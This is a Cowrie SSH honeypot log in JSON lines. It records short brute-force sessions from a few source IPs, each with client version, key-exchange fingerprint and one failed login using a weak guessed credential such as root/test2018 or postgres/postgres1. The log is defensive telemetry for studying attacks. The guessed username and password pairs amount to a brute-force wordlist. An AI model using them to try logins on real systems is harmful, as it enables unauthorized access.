a-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:44:17.423605Z","src_ip":"211.178.247.182","session":"c7cc9096d845","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test2018","message":"login attempt [root/test2018] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:44:18.194229Z","src_ip":"211.178.247.182","session":"c7cc9096d845","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:44:19.381300Z","src_ip":"211.178.247.182","session":"c7cc9096d845","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.178.247.182","src_port":32630,"dst_ip":"159.203.135.109","dst_port":22,"session":"276c84fc1fb6","protocol":"ssh","message":"New connection: 211.178.247.182:32630 (159.203.135.109:22) [session: 276c84fc1fb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:45:11.521283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:45:11.526797Z","src_ip":"211.178.247.182","session":"276c84fc1fb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:45:11.717510Z","src_ip":"211.178.247.182","session":"276c84fc1fb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"ec2-user@2024","message":"login attempt [ec2-user/ec2-user@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:45:12.514012Z","src_ip":"211.178.247.182","session":"276c84fc1fb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:45:13.712917Z","src_ip":"211.178.247.182","session":"276c84fc1fb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.178.247.182","src_port":38104,"dst_ip":"159.203.135.109","dst_port":22,"session":"de32ea3fcfad","protocol":"ssh","message":"New connection: 211.178.247.182:38104 (159.203.135.109:22) [session: de32ea3fcfad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:46:04.769370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:46:04.774505Z","src_ip":"211.178.247.182","session":"de32ea3fcfad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:46:04.965771Z","src_ip":"211.178.247.182","session":"de32ea3fcfad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"master","password":"admin123","message":"login attempt [master/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:46:05.750565Z","src_ip":"211.178.247.182","session":"de32ea3fcfad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:46:06.940671Z","src_ip":"211.178.247.182","session":"de32ea3fcfad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.178.247.182","src_port":44673,"dst_ip":"159.203.135.109","dst_port":22,"session":"c46be6d65e4b","protocol":"ssh","message":"New connection: 211.178.247.182:44673 (159.203.135.109:22) [session: c46be6d65e4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:46:58.612818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:46:58.618516Z","src_ip":"211.178.247.182","session":"c46be6d65e4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:46:58.815255Z","src_ip":"211.178.247.182","session":"c46be6d65e4b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"oracle","message":"login attempt [admin/oracle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:46:59.614052Z","src_ip":"211.178.247.182","session":"c46be6d65e4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:47:00.811868Z","src_ip":"211.178.247.182","session":"c46be6d65e4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.178.247.182","src_port":50945,"dst_ip":"159.203.135.109","dst_port":22,"session":"db81e7965a13","protocol":"ssh","message":"New connection: 211.178.247.182:50945 (159.203.135.109:22) [session: db81e7965a13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:47:55.610160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:47:55.616955Z","src_ip":"211.178.247.182","session":"db81e7965a13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:47:55.791893Z","src_ip":"211.178.247.182","session":"db81e7965a13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres1","message":"login attempt [postgres/postgres1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:47:56.499702Z","src_ip":"211.178.247.182","session":"db81e7965a13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:47:57.686691Z","src_ip":"211.178.247.182","session":"db81e7965a13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.178.247.182","src_port":56338,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3c0c0a0aee3","protocol":"ssh","message":"New connection: 211.178.247.182:56338 (159.203.135.109:22) [session: e3c0c0a0aee3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:48:53.140018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:48:53.148691Z","src_ip":"211.178.247.182","session":"e3c0c0a0aee3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:48:53.331802Z","src_ip":"211.178.247.182","session":"e3c0c0a0aee3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teste","password":"1","message":"login attempt [teste/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:48:54.066846Z","src_ip":"211.178.247.182","session":"e3c0c0a0aee3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:48:55.256222Z","src_ip":"211.178.247.182","session":"e3c0c0a0aee3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.178.247.182","src_port":62678,"dst_ip":"159.203.135.109","dst_port":22,"session":"df737ad268f3","protocol":"ssh","message":"New connection: 211.178.247.182:62678 (159.203.135.109:22) [session: df737ad268f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:49:50.321563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:49:50.326153Z","src_ip":"211.178.247.182","session":"df737ad268f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:49:50.514388Z","src_ip":"211.178.247.182","session":"df737ad268f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"22222222","message":"login attempt [user/22222222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:49:51.300668Z","src_ip":"211.178.247.182","session":"df737ad268f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:49:52.497436Z","src_ip":"211.178.247.182","session":"df737ad268f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.178.247.182","src_port":36530,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4736853964e","protocol":"ssh","message":"New connection: 211.178.247.182:36530 (159.203.135.109:22) [session: b4736853964e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:50:46.906819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:50:46.911974Z","src_ip":"211.178.247.182","session":"b4736853964e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:50:47.105196Z","src_ip":"211.178.247.182","session":"b4736853964e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin2024!@#","message":"login attempt [root/admin2024!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:50:47.894352Z","src_ip":"211.178.247.182","session":"b4736853964e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:50:49.089728Z","src_ip":"211.178.247.182","session":"b4736853964e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.4.145.50","src_port":54176,"dst_ip":"10.17.0.5","dst_port":22,"session":"3594a99bc4b2","protocol":"ssh","message":"New connection: 103.4.145.50:54176 (10.17.0.5:22) [session: 3594a99bc4b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:51:04.666212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:51:04.672375Z","src_ip":"103.4.145.50","session":"3594a99bc4b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:51:04.929342Z","src_ip":"103.4.145.50","session":"3594a99bc4b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin8888","message":"login attempt [root/admin8888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:51:05.988384Z","src_ip":"103.4.145.50","session":"3594a99bc4b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:51:07.247726Z","src_ip":"103.4.145.50","session":"3594a99bc4b2","protocol":"ssh"}
